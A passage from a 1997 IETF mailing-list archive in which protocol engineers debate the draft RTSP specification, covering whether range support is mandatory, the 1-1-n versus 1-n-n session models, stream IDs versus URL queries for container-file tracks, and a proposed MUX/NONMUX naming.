  another. Using URLs factors out this functionality into a single place.

  Using URLs also provides a natural way to decompose composite files, which
  is generally useful, not only in the case of 1-*-n - it allows to reuse
  a single track of a composite file in a completely different presentation.

- The current proposal is incomplete, as the server is free to choose whatever
  sessionid he wants - not great for handwriting of session descriptions.
  Say you have handwritten session descriptions, and you want to move from server
  A to server B, which use different conventions for generating session ids - 
  bummer !
  A standard mapping between composite file components and session ids (or better:
  URL queries) seems to be needed, which probably is specific to the format of 
  the composite file (ASF, Quicktime, MPEG, ...)
  The proposal seems to be too slanted to automatically generated
  session descriptions, i.e. descriptions that are generated "on the fly" -
  there is still a need to write them manually as well.




From majordom@ISI.EDU  Sun Jul  6 17:54:28 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09388>; Sun, 6 Jul 1997 06:54:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09381>; Sun, 6 Jul 1997 06:54:35 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA00279>; Sun, 6 Jul 1997 06:54:34 -0700
Received: by www45.inria.fr (8.8.5/8.8.5) id PAA01582; Sun, 6 Jul 1997 15:54:29 +0200 (MET DST)
Message-Id: <199707061354.PAA01582@www45.inria.fr>
To: confctrl@isi.edu
From: Philipp Hoschka <hoschka@w3.org>
Subject: Why SMPTE ranges required for minimal RTSP server ?
Date: Sun, 06 Jul 1997 15:54:28 +0200
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


The current RTSP spec allows to leave out a couple of 
methods when implementing an RTSP server.

Only four methods are required to be implemented (PLAY,
TEARDOWN, SETUP, OPTIONS).

This is great, since it allows to quickly implement a
minimal RTSP server in the following way:
- take an existing media server that doesn't currently
  use RTSP, but has already solved the hard problem of
  serving media
- implement an RTSP server that accepts the RTSP methods
  named above
- If you get a PLAY request, let the RTSP server hand it
  off to the media server, who does the streaming (e.g. 
  spawn a process which is the media server)
- If you get a TEARDOWN request, kill the process

In other words, existing media servers can be used as 
some sort of "server helper applications", similar to
helper applications in today's browsers.

This architecture is also pretty much in line with the seperation
of the control stream and the media stream in RTSP.

The problem is that the current draft makes it quite hard 
to implement such an architecture.

The current draft requires the server to implement range requests.
(sec 10.4 "A media server only supporting playback MUST
support smpte format ...).

Many servers today don't allow to play subranges of media 
files they play out.

Making ranges mandadory also seems a bit arbitrary
 - why make ranges mandatory and not, say, PAUSE ?
HTTP 1.1 doesn't require support of range-requests.

I'd suggest to either leave out this sentence, or to change the
MUST into a SHOULD

-Philipp

From majordom@ISI.EDU  Mon Jul  7 16:01:42 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29139>; Mon, 7 Jul 1997 05:01:55 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29133>; Mon, 7 Jul 1997 05:01:53 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA28062>; Mon, 7 Jul 1997 05:01:51 -0700
Received: from wallace (wallace.fokus.gmd.de [193.175.132.42]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id IAA24119; Mon, 7 Jul 1997 08:01:46 -0400 (EDT)
Message-Id: <33C0DAA6.14D4@cs.columbia.edu>
Date: Mon, 07 Jul 1997 14:01:42 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University (GMD Fokus)
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Philipp Hoschka <hoschka@w3.org>
Cc: confctrl@ISI.EDU
Subject: Re: Why SMPTE ranges required for minimal RTSP server ?
References: <199707061354.PAA01582@www45.inria.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp Hoschka wrote:
> 
> The current RTSP spec allows to leave out a couple of
> methods when implementing an RTSP server.
> 
> Only four methods are required to be implemented (PLAY,
> TEARDOWN, SETUP, OPTIONS).
> 
> This is great, since it allows to quickly implement a
> minimal RTSP server in the following way:
> - take an existing media server that doesn't currently
>   use RTSP, but has already solved the hard problem of
>   serving media
> - implement an RTSP server that accepts the RTSP methods
>   named above
> - If you get a PLAY request, let the RTSP server hand it
>   off to the media server, who does the streaming (e.g.
>   spawn a process which is the media server)
> - If you get a TEARDOWN request, kill the process
> 
> In other words, existing media servers can be used as
> some sort of "server helper applications", similar to
> helper applications in today's browsers.

One would hope that many such helper processes can take commandline
arguments that allow selection of parts of a presentation...

> 
> This architecture is also pretty much in line with the seperation
> of the control stream and the media stream in RTSP.
> 
> The problem is that the current draft makes it quite hard
> to implement such an architecture.
> 
> The current draft requires the server to implement range requests.
> (sec 10.4 "A media server only supporting playback MUST
> support smpte format ...).

It doesn't, for the reasons you mention. The table in 'Header Field
Definitions' lists Range as optional. However, if you support range, you
need to support SMPTE and NPT. Please be sure to always refer to the
last draft on the web site; we have been a bit delinquent about updating
the I-D.

From majordom@ISI.EDU  Mon Jul  7 16:11:49 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29243>; Mon, 7 Jul 1997 05:12:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA29237>; Mon, 7 Jul 1997 05:12:17 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-29)
	id <AA28223>; Mon, 7 Jul 1997 05:12:15 -0700
Received: by www45.inria.fr (8.8.5/8.8.5) id OAA10716; Mon, 7 Jul 1997 14:11:50 +0200 (MET DST)
Message-Id: <199707071211.OAA10716@www45.inria.fr>
To: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@isi.edu
Subject: Re: Why SMPTE ranges required for minimal RTSP server ? 
In-Reply-To: Your message of "Mon, 07 Jul 1997 14:01:42 +0200."
             <33C0DAA6.14D4@cs.columbia.edu> 
Date: Mon, 07 Jul 1997 14:11:49 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>> The current draft requires the server to implement range requests.
>> (sec 10.4 "A media server only supporting playback MUST
>> support smpte format ...).
>
>It doesn't, for the reasons you mention. 

Good

>The table in 'Header Field
>Definitions' lists Range as optional. However, if you support range, you
>need to support SMPTE and NPT. Please be sure to always refer to the
>last draft on the web site; we have been a bit delinquent about updating
>the I-D.

I referred to the June 2 version, which is the latest version on the web site:

http://www.cs.columbia.edu/~hgs/rtsp/draft/draft-ietf-mmusic-rtsp-03.txt

This has the sentence I quote in section 10.4 - it doesn't mention that NPT
needs to be supported, btw.

It is true that the table 'Header Field defintions" lists
"range" is optional - an inconsistency.

(all other private comments are wrt to that draft as well)

From majordom@ISI.EDU  Mon Jul  7 19:29:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04235>; Mon, 7 Jul 1997 08:29:17 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04229>; Mon, 7 Jul 1997 08:29:15 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA02891>; Mon, 7 Jul 1997 08:29:14 -0700
Received: from wallace (wallace.fokus.gmd.de [193.175.132.42]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id LAA28981; Mon, 7 Jul 1997 11:29:06 -0400 (EDT)
Message-Id: <33C10B3F.7AE5@cs.columbia.edu>
Date: Mon, 07 Jul 1997 17:29:03 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University (GMD Fokus)
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Cc: confctrl@ISI.EDU, brad@prognet.com, Rob Lanphier <robla@prognet.com>
Subject: Re: Solving 1-1-n
References: <199707041726.TAA15613@www45.inria.fr>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp Hoschka wrote:
> 
> >Given a single URL pointing to a container with n streams, there would be 1
> >DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY message.
> 
> All this 1-1-1 .. 1-n-n discussion is about a presentation that is stored in
> a single file, right ? E.g. a flattened Quicktime file, say twister.mov.

Yes, but this is somewhat invisible at the RTSP level, since there's
only an issue if there's more than one RTP stream involved or if you
want to control the pieces of a composite stream (basically dynamically
creating a composite stream, in which case separate streams are also an
option). If all you ever want to do is play a single composite stream,
none of this discussion is needed.


> There are two ways to do this
> 1) create a namespace within the container file that can be
>    addressed via URLs
> 2) create an additional attribute that must be contained in every
>    session description format, and mapped onto an RTSP header field
> 
> You chose option 2) by introducing the sessionid.

Allowing 2) does not provent a server from offering 1), I might add.



>   A standard mapping between composite file components and session ids (or better:
>   URL queries) seems to be needed, which probably is specific to the format of
>   the composite file (ASF, Quicktime, MPEG, ...)

I would invite experts in these formats to offer such a mapping. Maybe
this could be put into an appendix.

>   The proposal seems to be too slanted to automatically generated
>   session descriptions, i.e. descriptions that are generated "on the fly" -
>   there is still a need to write them manually as well.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Jul  7 01:45:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05033>; Mon, 7 Jul 1997 08:46:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05027>; Mon, 7 Jul 1997 08:46:27 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03452>; Mon, 7 Jul 1997 08:46:26 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.49)
	id <33W00AS3>; Mon, 7 Jul 1997 08:48:40 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E1803D6D6A9@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Philipp Hoschka' <Philipp.Hoschka@sophia.inria.fr>, confctrl@isi.edu,
        brad@prognet.com, Rob Lanphier <robla@prognet.com>
Subject: RE: Solving 1-1-n 
Date: Mon, 7 Jul 1997 08:45:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In your example below, 1-1-1 is indeed the natural case. However, one
may prefer to use 1-1-n for playing twister.mov to MBONE audiences, say
coupled with a SDP announcement. This could result in "standard"
(perhaps "transparent" would be a better word?) MBONE content.

Another alternative for the "?" is to expand upon the text already in
Section 3.2 and state that, for example,

rtsp://media.example.com:554/twister/audiotrack 

refers to the audio of a presentation named twister.

> -----Original Message-----
> From:	Philipp Hoschka [SMTP:Philipp.Hoschka@sophia.inria.fr]
> Sent:	Friday, July 04, 1997 10:26 AM
> To:	confctrl@isi.edu; brad@prognet.com; Rob Lanphier
> Subject:	Re: Solving 1-1-n 
> 
> 
> >Given a single URL pointing to a container with n streams, there
> would be 1
> >DESCRIBE (potentially) followed by n SETUP messages and 1 PLAY
> message.
> 
> All this 1-1-1 .. 1-n-n discussion is about a presentation that is
> stored in 
> a single file, right ? E.g. a flattened Quicktime file, say
> twister.mov.
> 
> In this case
> 1) 1-1-1 seems to be the "natural" choice
> 2) 1-n-n is the same as if the media was stored in several files,
>   at least from the point of view of RTSP/RTP - conceptually, the 
>   server splits up the container file into several seperate files
>   before data is sent out
> 3) 1-1-n is also the same as if the media was stored in several files
> -
>   since there are n streams
> 
> Now, the problem with 2) and 3) is that there's only one filename -
> twister.mov,
> and you need to generate several identifiers for it, one for each of 
> the "files" contained in twister.mov.
> 
> There are two ways to do this
> 1) create a namespace within the container file that can be 
>    addressed via URLs
> 2) create an additional attribute that must be contained in every
>    session description format, and mapped onto an RTSP header field
> 
> You chose option 2) by introducing the sessionid.
> 
> I'd like to convince you that putting it into the URL is feasible,
> and does not have the problems you describe.
> 
> I suggest to use the "?" notation, since the files are extracted
> at the server. That means, if you want to control the audio track
> of "twister.mov" stored in track 1 of the Quicktime file, you write:
> 
> rtsp://www.w3.org/twister.mov?1
> 
> From Brad's message, it seems that you fear that there may be a
> conflict
> with some future use of a the question mark, e.g. like this:
> 
> rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly
> "
> 
> (btw, I just showed this to one of my colleages, and he said you
> should use ";" 
> rather than "&" (which is "old stuff" as he said) - the "&" created
> problems
> with some browsers, because it's also used for defining SGML entities)
> 
> Now, my first question is: why is this a query ? Why do you need to
> use
> a questionmark ?
> 
> There's a single album by Nirvana called "Nevermind" (what happens if 
> you put in "Greatest hits", and there are several, btw ?), so you
> might as well write
> 
> rtsp://server/db/query/Nirvana/Nevermind/Polly
> 
> And now you can easily write
> 
> rtsp://server/db/query/Nirvana/Nevermind/Polly?1
> 
> meaning the first track in the Quicktime file, which corresponds to an
> audio track.
> 
> Also, you can have more than one questionmark in a URL, e.g. you could
> write
> 
> rtsp://server/db/query?artist="Nirvana"&album="Nevermind&;track="Polly
> "?1
> 
> In both cases (sing URL or using sessionid), it would be good to have
> to 
> have a standard way to describe how to map components in a composite
> file 
> into identifiers such as "1". 
> 
> In your scheme the server generates the mapping "on the fly",
> But what if people want to write sdp files by hand,
> i.e. they're not automatically generated ? To write such an sdp file,
> the 
> author would have to know how the particular server used generateS
> sessionids -
> not very nice.
> 
> So I guess you need a standard way to generate ids for components of
> media
> files even if you use sessionids. 
> 
> If you use URLs instead of session ids, the same standard would help
> you to use 
> only the audio source of a quicktime file in a presentation, which is
> a nice extra 
> functionality.
> 
> This standard mapping would have to be done for each composite file
> format, 
> e.g. ASF, Quicktime etc.
> 
> It's a common thing to do, similar to defining what "#" means for html
> 
> or for CGI (a vector graphics format, see
> http://www.w3.org/TR/NOTE-cgm#Refer)
> 
> To sum up, problems with sessionid that are resolved when using URLs
> are:
> 
> - The "sessionid" complicates things, because it requires that each
> format
>   ever returned by the "describe" method has this attribute in one
> form or
>   another. Using URLs factors out this functionality into a single
> place.
> 
>   Using URLs also provides a natural way to decompose composite files,
> which
>   is generally useful, not only in the case of 1-*-n - it allows to
> reuse
>   a single track of a composite file in a completely different
> presentation.
> 
> - The current proposal is incomplete, as the server is free to choose
> whatever
>   sessionid he wants - not great for handwriting of session
> descriptions.
>   Say you have handwritten session descriptions, and you want to move
> from server
>   A to server B, which use different conventions for generating
> session ids - 
>   bummer !
>   A standard mapping between composite file components and session ids
> (or better:
>   URL queries) seems to be needed, which probably is specific to the
> format of 
>   the composite file (ASF, Quicktime, MPEG, ...)
>   The proposal seems to be too slanted to automatically generated
>   session descriptions, i.e. descriptions that are generated "on the
> fly" -
>   there is still a need to write them manually as well.
> 
> 

From majordom@ISI.EDU  Mon Jul  7 01:42:22 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05024>; Mon, 7 Jul 1997 08:46:20 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05018>; Mon, 7 Jul 1997 08:46:19 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03445>; Mon, 7 Jul 1997 08:46:16 -0700
Received: from zappo-home.prognet.com (correro-PPP2.prognet.com) by murrow.prognet.com with SMTP id AA07364
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Mon, 7 Jul 1997 08:50:06 -0700
Received: by zappo-home.prognet.com with Microsoft Mail
	id <01BC8AB1.B4420000@zappo-home.prognet.com>; Mon, 7 Jul 1997 08:42:29 -0700
Message-Id: <01BC8AB1.B4420000@zappo-home.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: 'Henning Schulzrinne' <hgs@cs.columbia.edu>,
        Philipp Hoschka
	 <Philipp.Hoschka@sophia.inria.fr>
Cc: "brad@prognet.com" <brad@prognet.com>,
        "confctrl@ISI.EDU"
	 <confctrl@ISI.EDU>,
        Rob Lanphier <robla@prognet.com>
Subject: RE: Solving 1-1-n
Date: Mon, 7 Jul 1997 08:42:22 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Philipp Hoschka wrote:
>   The proposal seems to be too slanted to automatically generated
>   session descriptions, i.e. descriptions that are generated "on the fly" -
>   there is still a need to write them manually as well.

The proposal places no additional burden on the content
provider in the case of "physically" separate media files
being played as a single presentation. This has always been 
supported by RTSP and was not the topic of the 1-1-n etc. 
conversation. In fact, PN's RTSP implementations (the beta 
RealMedia sdk) handle this feature today.

In PN's implementation (and as we understand it, the intent
of the RTSP authors is that) such a presentation is described
by "media server indirection information" stored in a metafile,
which is hand authored and available from a standard HTTP 
server. RTSL, SDP, SYMM, or several other file formats are 
appropriate for storing this information. The client takes 
this metafile information and requests separate RTSP "requests". 
Notice of course that since RTSP allows multiplexing of multiple 
control sessions over a single TCP connection, this requires only 
one TCP connection.

Relative to the recent proposals for dealing with "streams" in 
a container file, we can assume that in this example the 
resources are in fact not container files, and therefore no 
streamID headers are required at all. (In absence of a streamID 
header the server sends all streams to that addr/port combination.)

-Brad

-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax:   (206)674-2699
email: brad@prognet.com
web:   http://www.real.com
-----------------------------------------




From majordom@ISI.EDU  Mon Jul  7 01:53:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05947>; Mon, 7 Jul 1997 08:57:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05933>; Mon, 7 Jul 1997 08:57:04 -0700
Received: from murrow.prognet.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA03818>; Mon, 7 Jul 1997 08:57:01 -0700
Received: from zappo-home.prognet.com (correro-PPP2.prognet.com) by murrow.prognet.com with SMTP id AA08204
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Mon, 7 Jul 1997 09:00:50 -0700
Received: by zappo-home.prognet.com with Microsoft Mail
	id <01BC8AB3.3468E540@zappo-home.prognet.com>; Mon, 7 Jul 1997 08:53:14 -0700
Message-Id: <01BC8AB3.3468E540@zappo-home.prognet.com>
From: Brad Hefta-Gaub <brad@prognet.com>
To: "brad@prognet.com" <brad@prognet.com>,
        "confctrl@isi.edu"
	 <confctrl@isi.edu>,
        'Philipp Hoschka'
	 <Philipp.Hoschka@sophia.inria.fr>,
        Rob Lanphier
	 <robla@prognet.com>
Subject: RE: Solving 1-1-n 
Date: Mon, 7 Jul 1997 08:53:08 -0700
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>> >From Brad's message, it seems that you fear that there 
>> may be a conflict with some future use of a the question 
>> mark, e.g. like this:
>> 
>> rtsp://server/db/query?artist="Nirvana"&album="Nevermind"&track="Polly"
>> 
>> ...
>>
>> Now, my first question is: why is this a query ? Why do you need to use
>> a questionmark ?

My point is exactly that the RTSP spec should not answer these 
questions. Instead the RTSP spec should reference the standard 
URI spec, and should not place additional limitations on the 
semantics of sub-syntax of the URI.

A solution that limits the name space of the URI seems especially 
wrong when we have a perfectly reasonable pathway in the 822 headers.

In addition to our concerns about flexibility in implementing robust
file systems on the server, it seems there is also an issue with the
additional burden this will place on intermediate devices. The 
intermediate devices already implement 822 parsing and manipulation
code, but most will only look for host name and resource in the URI.
Why force all intermediate devices to implement additional URI 
parsing code to peal out stream information???

-Brad

-----------------------------------------
Brad Hefta-Gaub 
Mad Scientist, Technical Lead - RealMedia
Progressive Networks
-----------------------------------------
phone: (206)674-2272
fax:   (206)674-2699
email: brad@prognet.com
web:   http://www.real.com
-----------------------------------------





From majordom@ISI.EDU  Mon Jul  7 02:06:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06714>; Mon, 7 Jul 1997 09:09:19 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06708>; Mon, 7 Jul 1997 09:09:13 -0700
Received: from mail2.microsoft.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA04351>; Mon, 7 Jul 1997 09:09:12 -0700
Received: by INET-02-IMC with Internet Mail Service (5.0.1458.49)
	id <3DF5C7Z6>; Mon, 7 Jul 1997 09:09:09 -0700
Message-Id: <503A2A3C2932CF118D8800805FD44E1803D6D6AD@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Rob Lanphier' <robla@prognet.com>, Rakesh Manocha
	 <MRAKESH@novell.com>
Cc: confctrl@isi.edu
Subject: RE: Solving 1-1-n
Date: Mon, 7 Jul 1997 09:06:32 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.49)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

The first method issued should establish the session, otherwise one must
worry about the context of the pre-session methods -i.e., to what do
they refer? Thus, if DESCRIBE is ever to proceed SETUP, DESCRIBE needs
to establish the sessionID for the dialog. If so, then DESCRIBE and
SETUP are peers (as I have been stating all along) in that they both
could start a session. 

> -----Original Message-----
> From:	Rob Lanphier [SMTP:robla@prognet.com]
> Sent:	Thursday, July 03, 1997 11:46 PM
> To:	Rakesh Manocha
> Cc:	confctrl@isi.edu
> Subject:	Re: Solving 1-1-n
> 
> At 05:35 AM 7/3/97 -0600, Rakesh Manocha wrote:
> >Some other approaches could be :
> >
> >[1] Using the "Session" id returned in the response to the DESCRIBE
> message.
> >So, in the first example when the 1st SETUP message goes to the
> server it
> >would look like
> >
> > C->S: SETUP rtsp://example.com/twister.mov RTSP/1.0 2
> >         Session: 1234
> >         StreamID: aud
> >         Transport: rtp/udp;port=3056,
> >                    rtp/tcp
> 
> Actually, the Session: response in DESCRIBE was a typo (sorry).
> However,
> having DESCRIBE return a Session id did come to mind.  At this point,
> when
> should the presumed state associated with a Session id expire?
> 
> >[2] To create a pipeline-able zero-th SETUP message, which
> exclusively
> >serves as a means of getting a Session id one could use a "unique"
> Session
> >ID (e.g. -1 or 0 ) which is identified by the server as a  "Session
> id"
> >request.
> 
> I'm trying to figure out how this solves the problem.  The point of
> the
> Session id here would be to ensure that all SETUPs are issued under
> the
> same Session id, which, short of giving all of them -1 ids, won't
> solve the
> problem of reducing the number of roundtrips.  Perhaps an example
> would
> make it clearer.
> 
> Thanks
> Rob
> ---
> Rob Lanphier               Voice: (206)674-2322         Fax:
> (206)674-2699
> Program Manager-Protocols                         Email:
> robla@prognet.com
> Progressive Networks-Home of RealAudio            Web:
> http://www.real.com
> For more information on firewalls:
> http://www.real.com/firewall.html
> For more information on RTSP:
> http://www.real.com/prognet/rt

From majordom@ISI.EDU  Tue Jul  8 06:28:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12486>; Tue, 8 Jul 1997 13:27:42 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12470>; Tue, 8 Jul 1997 13:27:39 -0700
Received: from mail-out1.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA10138>; Tue, 8 Jul 1997 13:27:36 -0700
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id NAA23758
	for <confctrl@ISI.EDU>; Tue, 8 Jul 1997 13:25:03 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id NAA20742
	for <confctrl@ISI.EDU>; Tue, 8 Jul 1997 13:28:46 -0700
Date: Tue, 8 Jul 1997 13:28:46 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020900afe7c11f3be8@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: Why do we need 1-n-n anymore?
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

Here are the arguments to drop 1-n-n,

- The primary need for 1-n-n was to be able to control each
media separately. The new 1-1-n proposal allows separate
control even though all streams are part of the same
RTSP session, since we can use the "streamid" header in the PLAY
method to differentiate between media.

- 1-n-n can be achieved by multiple 1-1-n sessions in
which n=1, i.e. you setup only one of the n media in the
container file. You might argue that this will cause the
container file to be opened multiple times rather than
only once. But the same problem exists in 1-n-n also.
Since there is no state sharing between DESCRIBE and
SETUP the server will probably need to open the file
n times. (If the server uses tricks  to open the file just
once and share it among n session, it can do it
for 1-1-n just as well as it can 1-n-n.)

- 1-n-n is confusing to servers. Are they supposed to
send the n streams synchronized to a single
timebase (i.e. timeline)? How do they know that these
n streams are from the same presentation?

Dropping 1-n-n will lead to better interoperability.

If you agree with the arguments to drop 1-n-n then
read my next email.





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Tue Jul  8 07:50:13 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16028>; Tue, 8 Jul 1997 14:49:10 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA16022>; Tue, 8 Jul 1997 14:49:08 -0700
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-29)
	id <AA13253>; Tue, 8 Jul 1997 14:49:05 -0700
Received: from scv1.apple.com (A17-128-100-139.apple.com [17.128.100.139])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id OAA43314
	for <confctrl@ISI.EDU>; Tue, 8 Jul 1997 14:46:54 -0700
Received: from [17.255.20.120] ([17.255.20.120])
	by scv1.apple.com (8.8.5/8.8.5) with ESMTP id OAA22680
	for <confctrl@ISI.EDU>; Tue, 8 Jul 1997 14:50:13 -0700
Date: Tue, 8 Jul 1997 14:50:13 -0700
X-Sender: alagu@mail.apple.com
Message-Id: <v03020903afe7eb331f29@[17.255.20.120]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: confctrl@ISI.EDU
From: Alagu Periyannan <alagu@apple.com>
Subject: RTSP session model
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

So now if we agree to drop 1-n-n, we are left with
1-1-1 and 1-1-n.

The terminology x-y-z started off as,

x = number of containers
y = number of RTSP sessions and PLAYs
z = number of Transports

The number of containers should not matter to RTSP.
In any case, if we decide to drop 1-n-n, then x=y
always.

The other problem is, the latest 1-1-n model allows
multiple PLAYs even though y=1 and so is confusing.



A better way to name these would be,

old name 1-1-1         new name MUX
old name 1-1-n         new name NONMUX

MUX refers to sending all the media multiplexed in one transport
and NONMUX refers to sending each media in a separate transport.
The response to DESCRIBE must clearly state which model to
use either MUX or NONMUX. Otherwise it will be hard to achieve
interoperability. THIS I THINK IS IMPORTANT.

The SETUP should be associated with each media not with each
transport as is currently envisioned. The number of SETUPs sent
should be left to the client with the following basic rules,

- In the case of MUX, the client can send one SETUP for
all the media or one SETUP for each. When sending multiple
SETUPs, the first SETUP negotiates most of the transport parameters.
(Multiple SETUPs allows adding media later.)

- In the case of NONMUX, the client MUST send one SETUP
for each media.

Whether one SETUP is sent or multiple are sent, they must
use the same RTSP session if they have to be streamed out
in a synchronized fashion by the server.

In either model one should be able to PLAY/PAUSE individual media
with the "streamid" header or PLAY/PAUSE all media together.

comments?




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Wed Jul  9 11:40:49 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06054>; Wed, 9 Jul 1997 00:41:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA06040>; Wed, 9 Jul 1997 00:41:07 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-29)
	id <AA06068>; Wed, 9 Jul 1997 00:41:06 -0700
Received: from wallace (wallace.fokus.gmd.de [193.175.132.42]) by cs.columbia.edu (8.8.5/8.6.6) with SMTP id DAA02588; Wed, 9 Jul 1997 03:40:54 -0400 (EDT)
Message-Id: <33C34081.615F@cs.columbia.edu>
Date: Wed, 09 Jul 1997 09:40:49 +0200
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University (GMD Fokus)
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Alagu Periyannan <alagu@apple.com>
Cc: confctrl@isi.edu, Rob Lanphier <robla@prognet.com>,
        Anup Rao <anup@netscape.com>
Subject: Re: RTSP session model
References: <v03020903afe7eb331f29@[17.255.20.120]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Alagu Periyannan wrote:
> 
> Hi all,
> 
> So now if we agree to drop 1-n-n, we are left with
> 1-1-1 and 1-1-n.
> 
> The terminology x-y-z started off as,
> 
> x = number of containers
> y = number of RTSP sessions and PLAYs
> z = number of Transports
> 
> The number of containers should not matter to RTSP.
> In any case, if we decide to drop 1-n-n, then x=y
> always.
> 
> The other problem is, the latest 1-1-n model allows
> multiple PLAYs even though y=1 and so is confusing.
> 
> A better way to name these would be,
> 
> old name 1-1-1         new name MUX
> old name 1-1-n         new name NONMUX
> 
> MUX refers to sending all the media multiplexed in one transport
> and NONMUX refers to sending each media in a separate transport.
> The response to DESCRIBE must clearly state which model to
> use either MUX or NONMUX. Otherwise it will be hard to achieve
